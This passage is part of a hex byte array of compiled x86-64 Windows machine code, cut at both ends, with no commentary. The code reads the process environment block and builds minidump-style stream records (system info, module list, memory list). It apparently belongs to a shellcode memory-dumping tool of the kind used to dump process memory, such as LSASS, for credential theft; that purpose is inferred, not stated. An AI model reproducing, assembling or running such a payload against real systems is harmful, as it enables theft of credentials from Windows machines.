,0x10,0x8B,0x45,0x20,0x01,0xD0,0x89,0x45,0xFC,0x48,0x8B,0x45,0x10,0x8B,0x40,0x10,0x39,0x45,0xFC,0x73,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x47,0x8B,0x55,0xFC,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x18,0x48,0x39,0xC2,0x72,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x30,0x48,0x8B,0x45,0x10,0x8B,0x50,0x10,0x44,0x8B,0x45,0x20,0x48,0x8B,0x4D,0x18,0x48,0x8B,0x45,0x10,0x45,0x89,0xC1,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x49,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x10,0x8B,0x55,0xFC,0x89,0x50,0x10,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x70,0x48,0x89,0x4D,0x10,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xD0,0x0F,0x11,0x45,0xE0,0x48,0x8B,0x45,0x10,0x8B,0x40,0x20,0x89,0x45,0xD0,0x48,0x8B,0x45,0x10,0x0F,0xB7,0x40,0x24,0x66,0x89,0x45,0xD4,0x48,0x8B,0x45,0x10,0x0F,0xB7,0x40,0x26,0x66,0x89,0x45,0xD6,0xC7,0x45,0xD8,0x03,0x00,0x00,0x00,0xC7,0x45,0xDC,0x20,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x8B,0x45,0xD0,0x89,0x02,0x83,0x45,0xFC,0x04,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x0F,0xB7,0x45,0xD4,0x66,0x89,0x02,0x83,0x45,0xFC,0x02,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x0F,0xB7,0x45,0xD6,0x66,0x89,0x02,0x83,0x45,0xFC,0x02,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x8B,0x45,0xD8,0x89,0x02,0x83,0x45,0xFC,0x04,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x8B,0x45,0xDC,0x89,0x02,0x83,0x45,0xFC,0x04,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x8B,0x45,0xE0,0x89,0x02,0x83,0x45,0xFC,0x04,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x8B,0x45,0xE4,0x89,0x02,0x83,0x45,0xFC,0x04,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x8B,0x45,0xE8,0x89,0x02,0x83,0x45,0xFC,0x04,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x8B,0x45,0xEC,0x89,0x02,0x48,0x8D,0x55,0xB0,0x48,0x8B,0x45,0x10,0x41,0xB8,0x20,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x31,0xFE,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x70,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x38,0x48,0x8D,0x6C,0x24,0x30,0x48,0x89,0x4D,0x20,0x48,0x89,0xD3,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xF0,0x48,0x01,0xC2,0x8B,0x03,0x89,0x02,0x83,0x45,0xFC,0x04,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xF0,0x48,0x01,0xC2,0x8B,0x43,0x04,0x89,0x02,0x83,0x45,0xFC,0x04,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xF0,0x48,0x01,0xC2,0x8B,0x43,0x08,0x89,0x02,0x48,0x8D,0x55,0xF0,0x48,0x8B,0x45,0x20,0x41,0xB8,0x0C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xA9,0xFD,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x38,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x60,0x48,0x89,0x4D,0x10,0x48,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x07,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xF4,0x48,0x89,0x45,0xC0,0x8B,0x45,0xFC,0x89,0x45,0xC8,0x48,0x8D,0x55,0xC0,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x29,0xFF,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x9F,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x04,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xE8,0x48,0x89,0x45,0xC0,0x8B,0x45,0xF0,0x89,0x45,0xC8,0x48,0x8D,0x55,0xC0,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0xD9,0xFE,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x52,0x48,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x09,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xDC,0x48,0x89,0x45,0xC0,0x8B,0x45,0xE4,0x89,0x45,0xC8,0x48,0x8D,0x55,0xC0,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x8C,0xFE,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x60,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x81,0xEC,0xE0,0x00,0x00,0x00,0x48,0x89,0x4D,0x10,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0x90,0x0F,0x11,0x45,0xA0,0x0F,0x11,0x45,0xB0,0xC7,0x45,0xC8,0x60,0x00,0x00,0x00,0x8B,0x45,0xC8,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xC0,0x48,0x8B,0x45,0xC0,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x05,0x18,0x01,0x00,0x00,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF8,0x48,0x05,0x1C,0x01,0x00,0x00,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xF8,0x48,0x05,0x20,0x01,0x00,0x00,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xF8,0x48,0x05,0x24,0x01,0x00,0x00,0x48,0x89,0x45,0xD8,0x48,0x8B,0x45,0xF8,0x48,0x05,0xE8,0x02,0x00,0x00,0x48,0x89,0x45,0xD0,0x66,0xC7,0x45,0x90,0x09,0x00,0x66,0xC7,0x45,0x92,0x00,0x00,0x66,0xC7,0x45,0x94,0x00,0x00,0xC6,0x45,0x96,0x00,0xC6,0x45,0x97,0x01,0x48,0x8B,0x45,0xF0,0x8B,0x00,0x89,0x45,0x98,0x48,0x8B,0x45,0xE8,0x8B,0x00,0x89,0x45,0x9C,0x48,0x8B,0x45,0xE0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x89,0x45,0xA0,0x48,0x8B,0x45,0xD8,0x8B,0x00,0x89,0x45,0xA4,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0x66,0xC7,0x45,0xAC,0x00,0x00,0x66,0xC7,0x45,0xAE,0x00,0x00,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0xC7,0x45,0x8C,0x30,0x00,0x00,0x00,0x48,0xC7,0x85,0x50,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x58,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x60,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x68,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x70,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x78,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x0F,0xB7,0x45,0x90,0x66,0x89,0x02,0x83,0x45,0xCC,0x02,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x0F,0xB7,0x45,0x92,0x66,0x89,0x02,0x83,0x45,0xCC,0x02,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x0F,0xB7,0x45,0x94,0x66,0x89,0x02,0x83,0x45,0xCC,0x02,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x0F,0xB6,0x45,0x96,0x88,0x02,0x83,0x45,0xCC,0x01,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x0F,0xB6,0x45,0x97,0x88,0x02,0x83,0x45,0xCC,0x01,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x8B,0x45,0x98,0x89,0x02,0x83,0x45,0xCC,0x04,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x8B,0x45,0x9C,0x89,0x02,0x83,0x45,0xCC,0x04,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x8B,0x45,0xA0,0x89,0x02,0x83,0x45,0xCC,0x04,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x8B,0x45,0xA4,0x89,0x02,0x83,0x45,0xCC,0x04,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x8B,0x45,0xA8,0x89,0x02,0x83,0x45,0xCC,0x04,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x0F,0xB7,0x45,0xAC,0x66,0x89,0x02,0x83,0x45,0xCC,0x02,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x0F,0xB7,0x45,0xAE,0x66,0x89,0x02,0x83,0x45,0xCC,0x02,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x48,0x8B,0x45,0xB0,0x48,0x89,0x02,0x83,0x45,0xCC,0x08,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x48,0x8B,0x45,0xB8,0x48,0x89,0x02,0x48,0x8B,0x45,0x10,0x8B,0x40,0x10,0x89,0x85,0x4C,0xFF,0xFF,0xFF,0x8B,0x4D,0x8C,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x10,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xF7,0xF9,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xD6,0x00,0x00,0x00,0x48,0x8D,0x55,0x8C,0x48,0x8B,0x45,0x10,0x41,0xB9,0x04,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x24,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x82,0xF9,0xFF,0xFF,0x48,0x8D,0x95,0x4C,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x10,0x41,0xB9,0x04,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x28,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x61,0xF9,0xFF,0xFF,0x48,0x8B,0x45,0x10,0x8B,0x40,0x10,0x89,0x85,0x48,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0xD0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x89,0x85,0x44,0xFF,0xFF,0xFF,0x48,0x8D,0x95,0x44,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x10,0x41,0xB8,0x04,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x74,0xF9,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x56,0x48,0x8B,0x45,0xD0,0x0F,0xB7,0x00,0x0F,0xB7,0xC8,0x48,0x8B,0x45,0xD0,0x48,0x8B,0x50,0x08,0x48,0x8B,0x45,0x10,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x48,0xF9,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x2A,0x8B,0x85,0x4C,0xFF,0xFF,0xFF,0x8D,0x50,0x18,0x48,0x8D,0x8D,0x48,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x10,0x41,0xB9,0x04,0x00,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xCF,0xF8,0xFF,0xFF,0xB8,0x01,0x00,0x00,0x00,0x48,0x81,0xC4,0xE0,0x00,0x00,0x00,0x5D,0xC3,0x55,0x57,0x48,0x81,0xEC,0xD8,0x01,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0x70,0x01,0x00,0x00,0x48,0x8D,0x05,0xB2,0x54,0x00,0x00,0x48,0x89,0x85,0xA0,0x00,0x00,0x00,0x48,0x8D,0x05,0xBA,0x54,0x00,0x00,0x48,0x89,0x85,0xA8,0x00,0x00,0x00,0x48,0x8D,0x05,0xC2,0x54,0x00,0x00,0x48,0x89,0x85,0xB0,0x00,0x00,0x00,0x48,0x8D,0x05,0xC8,0x54,0x00,0x00,0x48,0x89,0x85,0xB8,0x00,0x00,0x00,0x48,0x8D,0x05,0xD2,0x54,0x00,0x00,0x48,0x89,0x85,0xC0,0x00,0x00,0x00,0x48,0x8D,0x05,0xDE,0x54,0x00,0x00,0x48,0x89,0x85,0xC8,0x00,0x00,0x00,0x48,0x8D,0x05,0xE8,0x54,0x00,0x00,0x48,0x89,0x85,0xD0,0x00,0x00,0x00,0x48,0x8D,0x05,0xF4,0x54,0x00,0x00,0x48,0x89,0x85,0xD8,0x00,0x00,0x00,0x48,0x8D,0x05,0xFC,0x54,0x00,0x00,0x48,0x89,0x85,0xE0,0x00,0x00,0x00,0x48,0x8D,0x05,0x08,0x55,0x00,0x00,0x48,0x89,0x85,0xE8,0x00,0x00,0x00,0x48,0x8D,0x05,0x0E,0x55,0x00,0x00,0x48,0x89,0x85,0xF0,0x00,0x00,0x00,0x48,0x8D,0x05,0x16,0x55,0x00,0x00,0x48,0x89,0x85,0xF8,0x00,0x00,0x00,0x48,0x8D,0x05,0x1E,0x55,0x00,0x00,0x48,0x89,0x85,0x00,0x01,0x00,0x00,0x48,0x8D,0x05,0x26,0x55,0x00,0x00,0x48,0x89,0x85,0x08,0x01,0x00,0x00,0x48,0x8D,0x05,0x36,0x55,0x00,0x00,0x48,0x89,0x85,0x10,0x01,0x00,0x00,0x48,0x8D,0x05,0x42,0x55,0x00,0x00,0x48,0x89,0x85,0x18,0x01,0x00,0x00,0x48,0x8D,0x05,0x4C,0x55,0x00,0x00,0x48,0x89,0x85,0x20,0x01,0x00,0x00,0x48,0x8D,0x05,0x56,0x55,0x00,0x00,0x48,0x89,0x85,0x28,0x01,0x00,0x00,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x48,0x8B,0x00,0x48,0x8D,0x95,0xA0,0x00,0x00,0x00,0x41,0xB9,0x01,0x00,0x00,0x00,0x41,0xB8,0x12,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x13,0xD5,0xFF,0xFF,0x48,0x89,0x85,0x40,0x01,0x00,0x00,0x48,0x83,0xBD,0x40,0x01,0x00,0x00,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x05,0x06,0x00,0x00,0x48,0x8B,0x85,0x40,0x01,0x00,0x00,0x48,0x89,0x85,0x48,0x01,0x00,0x00,0xC7,0x85,0x9C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE9,0xF6,0x00,0x00,0x00,0x8B,0x85,0x9C,0x00,0x00,0x00,0x83,0xC0,0x01,0x89,0x85,0x9C,0x00,0x00,0x00,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x8B,0x50,0x10,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x89,0x90,0x14,0x02,0x00,0x00,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x48,0x83,0xC0,0x14,0xBA,0x00,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x72,0x2C,0x00,0x00,0x89,0x45,0x18,0x8B,0x45,0x18,0x83,0xC0,0x01,0x89,0x45,0x18,0x8B,0x45,0x18,0x01,0xC0,0x89,0x45,0x18,0x48,0x8D,0x55,0x18,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x41,0xB8,0x04,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x2E,0xF7,0xFF,0xFF,0x85,0xC0,0x75,0x29,0x48,0x8B,0x85,0x40,0x01,0x00,0x00,0xBA,0x20,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE1,0x96,0xFF,0xFF,0x48,0xC7,0x85,0x40,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x50,0x05,0x00,0x00,0x8B,0x4D,0x18,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x48,0x8D,0x50,0x14,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xE1,0xF6,0xFF,0xFF,0x85,0xC0,0x75,0x29,0x48,0x8B,0x85,0x40,0x01,0x00,0x00,0xBA,0x20,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x94,0x96,0xFF,0xFF,0x48,0xC7,0x85,0x40,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x03,0x05,0x00,0x00,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x48,0x8B,0x00,0x48,0x89,0x85,0x48,0x01,0x00,0x00,0x48,0x83,0xBD,0x48,0x01,0x00,0x00,0x00,0x0F,0x85,0xFC,0xFE,0xFF,0xFF,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x8B,0x40,0x10,0x89,0x85,0x98,0x00,0x00,0x00,0x48,0x8D,0x95,0x9C,0x00,0x00,0x00,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x41,0xB8,0x04,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x69,0xF6,0xFF,0xFF,0x85,0xC0,0x75,0x29,0x48,0x8B,0x85,0x40,0x01,0x00,0x00,0xBA,0x20,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x1C,0x96,0xFF,0xFF,0x48,0xC7,0x85,0x40,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x8B,0x04,0x00,0x00,0x48,0xC7,0x45,0x20,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x28,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x30,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x38,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x40,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x48,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x50,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x58,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x60,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x68,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x70,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x78,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x7C,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x84,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0x40,0x01,0x00,0x00,0x48,0x89,0x85,0x48,0x01,0x00,0x00,0xE9,0x9C,0x03,0x00,0x00,0x48,0x8D,0x55,0xA0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x0E,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x48,0x8B,0x40,0x08,0x48,0x89,0x45,0xA0,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x8B,0x40,0x10,0x89,0x45,0xA8,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x8B,0x80,0x1C,0x02,0x00,0x00,0x89,0x45,0xAC,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x8B,0x80,0x18,0x02,0x00,0x00,0x89,0x45,0xB0,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x8B,0x80,0x14,0x02,0x00,0x00,0x89,0x45,0xB4,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0xC7,0x45,0xBC,0x00,0x00,0x00,0x00,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x08,0x00,0x00,0x00,0x00,0xC7,0x85,0x3C,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x48,0x8B,0x45,0xA0,0x48,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x08,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xA8,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xAC,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xB0,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xB4,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xB8,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xBC,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xC0,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xC4,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xC8,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xCC,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xD0,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xD4,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xD8,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xDC,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xE0,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xE4,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xE8,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xEC,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xF0,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xF4,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xF8,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x48,0x8B,0x45,0x00,0x48,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x08,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x48,0x8B,0x45,0x08,0x48,0x89,0x02,0x48,0x8D,0x55,0x20,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x41,0xB8,0x6C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x55,0xF2,0xFF,0xFF,0x85,0xC0,0x75,0x26,0x48,